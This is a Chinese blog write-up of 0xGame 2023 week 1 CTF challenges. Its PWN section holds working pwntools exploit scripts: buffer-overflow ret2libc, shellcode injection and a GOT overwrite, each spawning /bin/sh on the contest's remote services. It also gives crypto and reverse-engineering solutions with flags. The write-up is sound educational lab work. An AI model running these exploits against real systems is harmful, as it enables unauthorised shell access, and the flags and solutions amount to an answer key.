• [0xGame 2023] week1


    整理一下,昨天该第二周了。今天应该9点结束提交,等我写完就到了。

    PWN

    找不到且不对劲的flag

    第1题是个nc测试,但也不完全是,因为flag在隐含目录里

    高端的syscall

    程序使用了危险函数,并且没有canary阻止,gets会形成溢出。并且有后门,直接溢出到后门即可,但是这个题不清楚哪作错了,确一直打不通syscall,最后只能用才办公先泄露libc再system(bin/sh)

    1. from pwn import *
    2. #p = process('./ret2syscall')
    3. p = remote('8.130.35.16', 51004)
    4. context(arch='amd64', log_level='debug')
    5. elf = ELF('./ret2syscall')
    6. pop_rdi = 0x00000000004012e3 # pop rdi ; ret
    7. pop_rsi = 0x00000000004012e1 # pop rsi ; pop r15 ; ret
    8. set_rax = 0x401196
    9. syscall = 0x4011ae
    10. bss = 0x404800
    11. #gdb.attach(p, 'b*0x401273\nc')
    12. p.sendlineafter(b"Input: \n", flat(0,0,bss, pop_rdi, elf.got['puts'], 0x401258))
    13. libc_addr = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x84420
    14. bin_sh = libc_addr + 0x1b45bd
    15. system = libc_addr + 0x52290
    16. print(f"{ libc_addr = :x}")
    17. p.sendline(flat(0,0,0x404f00, pop_rdi, bin_sh, pop_rsi, 0,0, system))
    18. p.interactive()

     永远进不去的后门

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char buf[8]; // [rsp+0h] [rbp-40h] BYREF
    4. int v5; // [rsp+8h] [rbp-38h]
    5. bufinit();
    6. puts("Welcome to 0xGame2023!");
    7. puts("Tell me sth interesting, and I will give you what you want.");
    8. read(0, buf, 0x100uLL);
    9. if ( v5 % 2023 == 2023 )
    10. system("/bin/sh");
    11. else
    12. puts("Not that interesting. Bye.");
    13. return 0;
    14. }

    由于模2023后不可能等于2023,所以也就永远也不能直接进去,不过可以通过溢出进去。这里通过看汇编得到system的地址,再溢出即可

    1. from pwn import *
    2. #p = process('./ret2text')
    3. p = remote('8.130.35.16', 51002)
    4. context(arch='amd64', log_level='debug')
    5. p.sendafter(b'.\n', b'\x00'*0x48 + p64(0x401298))
    6. p.interactive()

    随便乱搞的shellcode

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. unsigned int v3; // eax
    4. char *buf; // [rsp+8h] [rbp-8h]
    5. void (*bufa)(void); // [rsp+8h] [rbp-8h]
    6. bufinit(argc, argv, envp);
    7. buf = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
    8. puts("Now show me your code:");
    9. read(0, buf, 0x100uLL);
    10. puts("Implementing security mechanism...");
    11. v3 = time(0LL);
    12. srand(v3);
    13. bufa = (void (*)(void))&buf[rand() % 256];
    14. close(1);
    15. puts("Done!");
    16. bufa();
    17. return 0;
    18. }

    先生成一个可写可执行的段20230000,然后读入shellcode并执行。

    1,这里的rand生成一个长度值,会在这个值后执行。可以在前边补nop大概率命中成功

    2,close(1)关闭了标准输出,这个可以在进入shell后执行 exec 1>&0将输出重定向到0

    3,shellcode可以直接利用pwntools的shellcode.sh()生成

    1. from pwn import *
    2. #p = process('./ret2text')
    3. p = remote('8.130.35.16', 51003)
    4. context(arch='amd64', log_level='debug')
    5. p.sendafter(b':', asm(shellcraft.sh()).rjust(0x100, b'\x90'))
    6. p.sendline(b'exec 1>&0')
    7. p.sendline(b'cat flag')
    8. p.interactive()

    字符串和随机数

    1. void __noreturn bot()
    2. {
    3. int v0; // [rsp+Ch] [rbp-14h] BYREF
    4. unsigned int v1; // [rsp+10h] [rbp-10h]
    5. int v2; // [rsp+14h] [rbp-Ch]
    6. unsigned int v3; // [rsp+18h] [rbp-8h]
    7. char v4; // [rsp+1Fh] [rbp-1h]
    8. puts("Welcome to SOC2023!.");
    9. printf("Name: ");
    10. read(0, name, 0x20uLL);
    11. printf("Password: ");
    12. read(0, pass, 0x20uLL);
    13. if ( !strncmp(name, "admin", 5uLL) && !strcmp(pass, "1s_7h1s_p9ss_7tuIy_sAf3?") )
    14. {
    15. printf("Welcome back, %s!\n", name);
    16. sleep(1u);
    17. printf("New email from %s, title: %s", "0xGame2023 admin", "Env now up! Flag here!\n");
    18. printf("Wanna see it?");
    19. v4 = getchar();
    20. if ( v4 == 'y' || v4 == 89 )
    21. {
    22. sleep(1u);
    23. puts("Warning! Security alert!");
    24. printf("Input the security code to continue: ");
    25. v3 = rand() ^ 0xD0E0A0D0;
    26. v2 = rand() ^ 0xB0E0E0F;
    27. v1 = (v2 ^ v3) % 0xF4240;
    28. __isoc99_scanf("%d", &v0);
    29. if ( v1 == v0 )
    30. printf("Email content: %s\n", flag);
    31. else
    32. perror("Challenge fail! Abort!\n");
    33. }
    34. }
    35. else
    36. {
    37. perror("Credential verification failed!\n");
    38. }
    39. puts("See you next time!");
    40. exit(0);
    41. }

    程序先读入用户名和密码,对式成功后需要猜一个随机数。

    1,在bss段里,seed在name后,且与name相邻,并且name仅检查前5个字符,name输入满0x20时与seed相边,输出时可以泄露。

    2,pass输入完后要输入\0截断

    3,通过调用ctypes库,运行rand函数得到密文

    1. from pwn import *
    2. #p = process('./ret2text')
    3. p = remote('8.130.35.16', 51001)
    4. context(arch='amd64', log_level='debug')
    5. from ctypes import *
    6. clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
    7. p.sendafter(b"Name: ", b'admin'.ljust(0x20))
    8. p.sendafter(b"Password: ", b"1s_7h1s_p9ss_7tuIy_sAf3?\x00")
    9. p.recvuntil(b'admin'.ljust(0x20))
    10. seed = u32(p.recv(4))
    11. clibc.srand(seed)
    12. p.sendafter(b"Wanna see it?", b'Y')
    13. v1 = (clibc.rand() ^ clibc.rand() ^ 0xD0E0A0D0 ^ 0xB0E0E0F) % 0xF4240
    14. p.sendlineafter(b"Input the security code to continue: ", str(v1).encode())
    15. print(p.recvline())
    16. p.interactive()

    我后门呢?

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char buf[32]; // [rsp+0h] [rbp-20h] BYREF
    4. bufinit();
    5. puts("There won't be shell for you!");
    6. puts("Now give me your input:");
    7. read(0, buf, 0x100uLL);
    8. if ( strlen(buf) > 0x20 )
    9. {
    10. puts("No chance for you to overflow!");
    11. exit(1);
    12. }
    13. puts("See you next time!");
    14. return 0;
    15. }

    这个题应该算是pwn里的基础打法,前边都是教学。这里有溢出,先通过溢出获取libc 加载地址,然后再回到原程序,再执行 system(bin/sh)

    1. from pwn import *
    2. #p = process('./ret2text')
    3. p = remote('8.130.35.16', 51005)
    4. context(arch='amd64', log_level='debug')
    5. elf = ELF('./ret2libc')
    6. libc = ELF('./libc.so.6')
    7. pop_rdi = 0x0000000000401333 # pop rdi ; ret
    8. pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret
    9. bss = 0x404800
    10. p.sendafter(b"Now give me your input:", b'\x00'*0x20 + flat(bss, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']))
    11. libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
    12. print(f"{libc.address = :x}")
    13. bin_sh = next(libc.search(b'/bin/sh\x00'))
    14. p.sendafter(b"Now give me your input:", b'\x00'*0x20 + flat(bss, pop_rdi, bin_sh, pop_rsi, 0,0, libc.sym['system']))
    15. p.interactive()

    got-it

    程序有4项,add,edit,show和trick(退出时执行)

    1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    2. {
    3. int v3; // [rsp+Ch] [rbp-4h] BYREF
    4. bufinit();
    5. while ( 1 )
    6. {
    7. menu();
    8. __isoc99_scanf("%d", &v3);
    9. if ( v3 == 8227 )
    10. break;
    11. if ( v3 <= 8227 )
    12. {
    13. if ( v3 == 4 )
    14. {
    15. puts("Thanks for using!");
    16. exit(0);
    17. }
    18. if ( v3 <= 4 )
    19. {
    20. switch ( v3 )
    21. {
    22. case 3:
    23. edit();
    24. break;
    25. case 1:
    26. add();
    27. break;
    28. case 2:
    29. show();
    30. break;
    31. }
    32. }
    33. }
    34. }
    35. trick();
    36. }

    add在第n个list偏移处写8字节

    1. int add()
    2. {
    3. int v1; // [rsp+Ch] [rbp-4h] BYREF
    4. printf("Input student id: ");
    5. __isoc99_scanf("%d", &v1);
    6. if ( v1 > 15 )
    7. return puts("Invalid id!");
    8. printf("Input student name: ");
    9. return read(0, &list[8 * v1], 8uLL);
    10. }

    同理,edit和show分别是写和显示(edit==add),trick则执行exit(/bin/sh)显然是要改got[exit]为system

    1. void __noreturn trick()
    2. {
    3. exit((int)"/bin/sh");
    4. }

    漏洞点:v1是有符号数,但只检查<=15,所以指针可以向前溢出

    list位置是0x4040a0,前边是got表,而且got表没有保护,可以通过前溢出修改和show got表。

     思路是,先通过前溢出show got表得到libc然后将got[exit]改为system然后在退出循环后执行exit[/bin/sh]

    1. from pwn import *
    2. #p = process('./got-it')
    3. p = remote('8.130.35.16', 51006)
    4. context(arch='amd64', log_level='debug')
    5. elf = ELF('./got-it')
    6. libc = ELF('./libc.so.6')
    7. def add(id, v):
    8. p.sendlineafter(b">> ", b'1')
    9. p.sendlineafter(b"Input student id: ", str(id).encode())
    10. p.sendafter(b'Input student name: ', v)
    11. def show(id):
    12. p.sendlineafter(b">> ", b'2')
    13. p.sendlineafter(b"Input student id: ", str(id).encode())
    14. add(0, b';/bin/sh')
    15. show(-16)
    16. p.recvuntil(b"Student name: ")
    17. libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['printf']
    18. #gdb.attach(p, "b*0x401477\nc")
    19. add(-11, p64(libc.sym['system']))
    20. p.sendlineafter(b">> ", b'8227')
    21. p.interactive()

    CRYPTO

    What's CBC?

    1. from Crypto.Util.number import *
    2. from secret import flag,key
    3. def bytes_xor(a,b):
    4. a,b=bytes_to_long(a),bytes_to_long(b)
    5. return long_to_bytes(a^b)
    6. def pad(text):
    7. if len(text)%8:
    8. return text
    9. else:
    10. pad = 8-(len(text)%8)
    11. text += pad.to_bytes(1,'big')*pad
    12. return text
    13. def Encrypt_CBC(text,iv,key):
    14. result = b''
    15. text = pad(text)
    16. block=[text[_*8:(_+1)*8] for _ in range(len(text)//8)]
    17. for i in block:
    18. tmp = bytes_xor(iv,i)
    19. iv = encrypt(tmp,key)
    20. result += iv
    21. return result
    22. def encrypt(text,key):
    23. result = b''
    24. for i in text:
    25. result += ((i^key)).to_bytes(1,'big')
    26. return result
    27. iv = b'11111111'
    28. enc = (Encrypt_CBC(flag,iv,key))
    29. print(f'enc = {enc}')
    30. enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"

    简单的CBC加密方法,先生成一个iv,然后每将加密都先用明文与iv异或后再作加密处理,并将上一块的密文作为下一块的iv继续加密下一块。这里的加密比较简单就是个1字节的异或。

    这里先用第1块爆破一下key得到143再解密

    1. enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"
    2. from pwn import xor
    3. v = xor(enc[:8], b'1')
    4. for i in range(256):
    5. print(i, xor(v,bytes([i])))
    6. key = 143
    7. for i in range(8, len(enc),8):
    8. print(xor(enc[i-8:i], xor(bytes([key]),enc[i:i+8])))
    9. #0xGame{098f6bcd4621d373cade4e832627b4f6}

    密码,觅码,先有*再密

    1. from secret import flag #从中导入秘密的flag,这是我们要破解的信息
    2. from Crypto.Util.number import bytes_to_long #从函数库导入一些编码函数
    3. from base64 import b64encode
    4. #hint:也许下列函数库会对你有些帮助,但是要怎么用呢……
    5. from base64 import b64decode
    6. from gmpy2 import iroot
    7. from Crypto.Util.number import long_to_bytes
    8. flag = flag.encode()
    9. lent = len(flag)
    10. flag = [flag[i*(lent//4):(i+1)*(lent//4)] for i in range(4)]#将flag切割成四份
    11. c1 = bytes_to_long(flag[0])
    12. c2 = ''.join([str(bin(i))[2:] for i in flag[1]])
    13. c3 = b64encode(flag[2])
    14. c4 = flag[3].hex()
    15. print(f'c1?= {pow(c1,5)}\nc2 = {c2}\nc3 = {c3}\nc4 = {c4}')
    16. '''
    17. c1?= 2607076237872456265701394408859286660368327415582106508683648834772020887801353062171214554351749058553609022833985773083200356284531601339221590756213276590896143894954053902973407638214851164171968630602313844022016135428560081844499356672695981757804756591891049233334352061975924028218309004551
    18. c2 = 10010000100001101110100010100111101000111110010010111010100001101110010010111111101000011110011010000001101011111110011010011000101011111110010110100110100000101110010010111101100101011110011110111100
    19. c3 = b'lueggeeahO+8jOmCo+S5iOW8gOWni+aIkQ=='
    20. c4 = 'e4bbace79a8443727970746fe68c91e68898e590a72121217d'
    21. '''
    22. #全是乱码,那咋办嘛?

    python要调用很多库,这题也是对一些库函数的测试。

    分4段进行加密,1是转整再5次幂,2是转二进制,3是base64,4是16进制,最后合起来是乱码bytes转str用utf-8(默认值)

    1. '''
    2. >>> e1 = long_to_bytes(iroot(c1,5)[0])
    3. >>> e2 = bytes([int(c2[i:i+8],2) for i in range(0, len(c2),8)])
    4. >>> e3 = b64decode(c3)
    5. >>> e4 = bytes.fromhex(c4)
    6. m = e1+e2+e3+e4
    7. >>> m.decode()
    8. '0xGame{ 恭喜你,已经理解了信息是如何编码的,那么开始我们的Crypto挑战吧!!!}'
    9. '''

    Take my bag!

    一看吓我一跳,入门怎么会有这个。再看一下,这个包很小,没有取模(c显然比n小很多,flag没那么长,所以只用到序列的小的部分)。

    1. from Crypto.Util.number import *
    2. from secret import flag
    3. def encrypt(m):
    4. m = str(bin(m))[2:][::-1]
    5. enc = 0
    6. for i in range(len(m)):
    7. enc += init[i] * int(m[i]) % n
    8. return enc
    9. w = getPrime(64)
    10. n = getPrime(512)
    11. init = [w*pow(3, i) % n for i in range(512)]
    12. c = encrypt(bytes_to_long(flag))
    13. print(f'w={w}')
    14. print(f'n={n}')
    15. print(f'c={c}')
    16. '''
    17. w=16221818045491479713
    18. n=9702074289348763131102174377899883904548584105641045150269763589431293826913348632496775173099776917930517270317586740686008539085898910110442820776001061
    19. c=4795969289572314590787467990865205548430190921556722879891721107719262822789483863742356553249935437004378475661668768893462652103739250038700528111
    20. '''

    先生成一个逐渐增加的序列,每一项都大于前面项的和。分解与每一位(0/1)相乘,取和。解密方法就是从大向小,够减就是1减掉,不够减就是0

    1. init = [w*pow(3, i) % n for i in range(512)]
    2. m = ''
    3. for v in init[::-1]:
    4. if c>=v:
    5. m+='1'
    6. c-=v
    7. else:
    8. m+='0'
    9. flag = ''
    10. for i in range(0, len(m), 8):
    11. flag += chr(int(m[i:i+8],2))
    12. #0xGame{Welc0me_2_Crypt0_G@me!#$&%}

    BabyRSA

    RSA的入门题,n由小素数组成,可以很容易分解。

    1. from Crypto.Util.number import *
    2. from random import getrandbits
    3. from secret import flag
    4. def getN():
    5. N = 1
    6. for i in range(16):
    7. tmp = getPrime(32)
    8. N *= tmp
    9. return N
    10. mask = getrandbits(256)
    11. e = 65537
    12. n = getN()
    13. m = bytes_to_long(flag)
    14. c = pow(m*mask,e,n)
    15. print(f'n = {n}')
    16. print(f'e = {e}')
    17. print(f'c = {c}')
    18. print(f'mask = {mask}')
    19. '''
    20. n = 93099494899964317992000886585964221136368777219322402558083737546844067074234332564205970300159140111778084916162471993849233358306940868232157447540597
    21. e = 65537
    22. c = 54352122428332145724828674757308827564883974087400720449151348825082737474080849774814293027988784740602148317713402758353653028988960687525211635107801
    23. mask = 54257528450885974256117108479579183871895740052660152544049844968621224899247
    24. '''

    这个题可以先分解n然后求phi,这里我直接用sage里有euler_phi求(因为n由小素数组成),虽然是入门题,怎么打都可以。但如果玩CTF走到密码这个方向sagemath是绕不过去的。

    1. mm = pow(c, inverse_mod(e, euler_phi(n)), n)
    2. m = int(mm) // mask
    3. from Crypto.Util.number import long_to_bytes
    4. long_to_bytes(int(m)//mask)
    5. b'0xGame{Magic_M@th_Make_Crypt0}'

    猜谜

    1. from secret import flag,key
    2. from Crypto.Util.number import *
    3. def dec(text):
    4. text = text.decode()
    5. code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
    6. unpad = 0
    7. tmp = ''
    8. if (text[-1] == '=') & (text[-2:] != '=='):
    9. text = text[:-1]
    10. unpad = -1
    11. if text[-2:] == '==':
    12. text = text[:-2]
    13. unpad = -2
    14. for i in text:
    15. tmp += str(bin(code.index(i)))[2:].zfill(3)
    16. tmp = tmp[:unpad]
    17. result = long_to_bytes(int(tmp,2))
    18. return result
    19. def enc(text):
    20. code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
    21. text = ''.join([str(bin(i))[2:].zfill(8) for i in text])
    22. length = len(text)
    23. pad = b''
    24. if length%3 == 1:
    25. text += '00'
    26. pad = b'=='
    27. elif length%3 == 2:
    28. text += '0'
    29. pad = b'='
    30. result = [code[int(text[3*i:3*(i+1)],2)] for i in range(0,len(text)//3)]
    31. return ''.join(result).encode()+pad
    32. def encrypt(flag):
    33. result = b''
    34. for i in range(len(flag)):
    35. result += (key[i%7]^(flag[i]+i)).to_bytes(1,'big')
    36. return result
    37. c = enc(encrypt(flag))
    38. print(f'c = {c}')

    这里的flag先通过encrypt再作enc,encrypt里与key异或,由于flag头部已知,可以直接求出key.

    enc远远看上去像变列的base64,但这里只用的2进制的3位查表,这是个变表的8进制。在这里意思不大,只需要再转回2进制再转bytes就行了。

    1. code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
    2. c = 'IPxYIYPYXPAn3nXX3IXA3YIAPn3xAYnYnPIIPAYYIA3nxxInXAYnIPAIxnXYYYIXIIPAXn3XYXIYAA3AXnx'
    3. m = ''.join([bin(code.index(i))[2:].zfill(3) for i in c])
    4. v = bytes([int(m[i:i+8],2) for i in range(0, len(m),8)])
    5. flag = b'0xGame{'
    6. key = xor(v[:7], bytes([i+flag[i] for i in range(7)]))
    7. v2 = xor(v, key)
    8. m = bytes([v-i for i,v in enumerate(v2)])
    9. #0xGame{Kn0wn_pl@intext_Att@ck!}

    Vigenere

    密文:0dGmqk{79ap4i0522g0a67m6i196he52357q60f} 古老而神秘的加密方式?

    维吉尼亚密码,可以通过头来爆破key

    REVERSE

     数字筑基

    前两天有个网友说,大部分逆向都可以通过grep得到,确实这里的几题给了些误解。

    代码金丹

     

    网络元婴

     

    虚拟化神

     

    v3先被填充密文,然后与0xGame异或,最后与明文比较。这块grep一年也出不来的。

    1. a = bytes.fromhex('0000000000004B1B7E070E01084B234C085707196A55585309557F030C541D4E')
    2. a += p32(0x50585475) + p32(0x2234E52) + p32(0x553045B)
    3. key = b'0xGame'
    4. xor(a,key)
    5. #0xGame{c9fcd83d-e27a-4569-8ba1-62555b6dc6ac}

     赛博天尊

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. __int64 v3; // rax
    4. __int64 v4; // rdx
    5. char *v5; // rcx
    6. __int64 v7; // [rsp+40h] [rbp-148h]
    7. __int64 v8; // [rsp+48h] [rbp-140h]
    8. __int64 v9; // [rsp+50h] [rbp-138h]
    9. __int64 v10; // [rsp+58h] [rbp-130h]
    10. __int64 v11; // [rsp+60h] [rbp-128h]
    11. char Buffer[256]; // [rsp+70h] [rbp-118h] BYREF
    12. sub_140001020((char *)&Format);
    13. sub_140001080("%s");
    14. v3 = -1i64;
    15. do
    16. ++v3;
    17. while ( Buffer[v3] );
    18. if ( v3 != 44
    19. || Buffer[43] != 125
    20. || (sub_1400010E0(Buffer, "0xGame{%16llx-%16llx-%16llx-%16llx-%16llx}"),
    21. 7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)
    22. || (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)
    23. || v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64
    24. || v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64
    25. || (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) )
    26. {
    27. v5 = (char *)&byte_1400032D8;
    28. }
    29. sub_140001020(v5);
    30. system("pause");
    31. return 0;
    32. }

    这里符号表都被删掉了,从函数的参数猜测函数功能。flag由5个数字组成,这些数符合下边的运算。

    z3也是绕不过去了。

    1. '''
    2. 7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)
    3. || (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)
    4. || v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64
    5. || v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64
    6. || (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) )
    7. '''
    8. from z3 import *
    9. v7,v8,v9,v10,v11 = Ints('v7 v8 v9 v10 v11')
    10. s = Solver()
    11. s.add(7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) == 0x12021DE669FC2)
    12. v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7)
    13. s.add(v8 + 3*v4 == 0x159BFFC17D045)
    14. s.add(v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) == 0xACE320D12501)
    15. s.add(v8 + 2 * (v7 + v11 + v9 + 2 * v10) == 0x733FFEB3A4FA)
    16. s.add(v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 == 0x1935EBA54EB28)
    17. s.check()
    18. d = s.model()
    19. v11 = 63356652901730
    20. v9 = 16488
    21. v7 = 2693650760
    22. v8 = 14810
    23. v10 = 41791
    24. '-'.join([hex(i)[2:] for i in [v7,v8,v9,v10,v11]])
    25. #0xGame{a08dd948-39da-4068-a33f-399f5eca5562}

    还是写的晚了,到这web和misc的题都看不到了。反正这块也不是本行,题都是一点点搜着网上的例子作。都是入门题网上都能搜着作法。

  • 相关阅读:
    第三篇 Ubuntu 20.04 搭建AI开发环境
    Apple Intelligence将如何重新定义iPhone上的Siri使用方式|TodayAI
    C# OpenVINO 通用OCR识别 文字识别 中文识别 服务
    爬虫 — Scrapy-Redis
    外汇天眼:真实记录,投资者在盗版MT4平台SCE Group上做交易的经历!
    学习Android的第十三天
    Q&A特辑 | 看了这场直播,我找到了设备指纹“从不说谎”的原因
    Webview 和 React Native 中吸顶效果实现
    培养核心人才,落实IPD体系
    强大灵活的文件上传库:FilePond 详解
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/133654059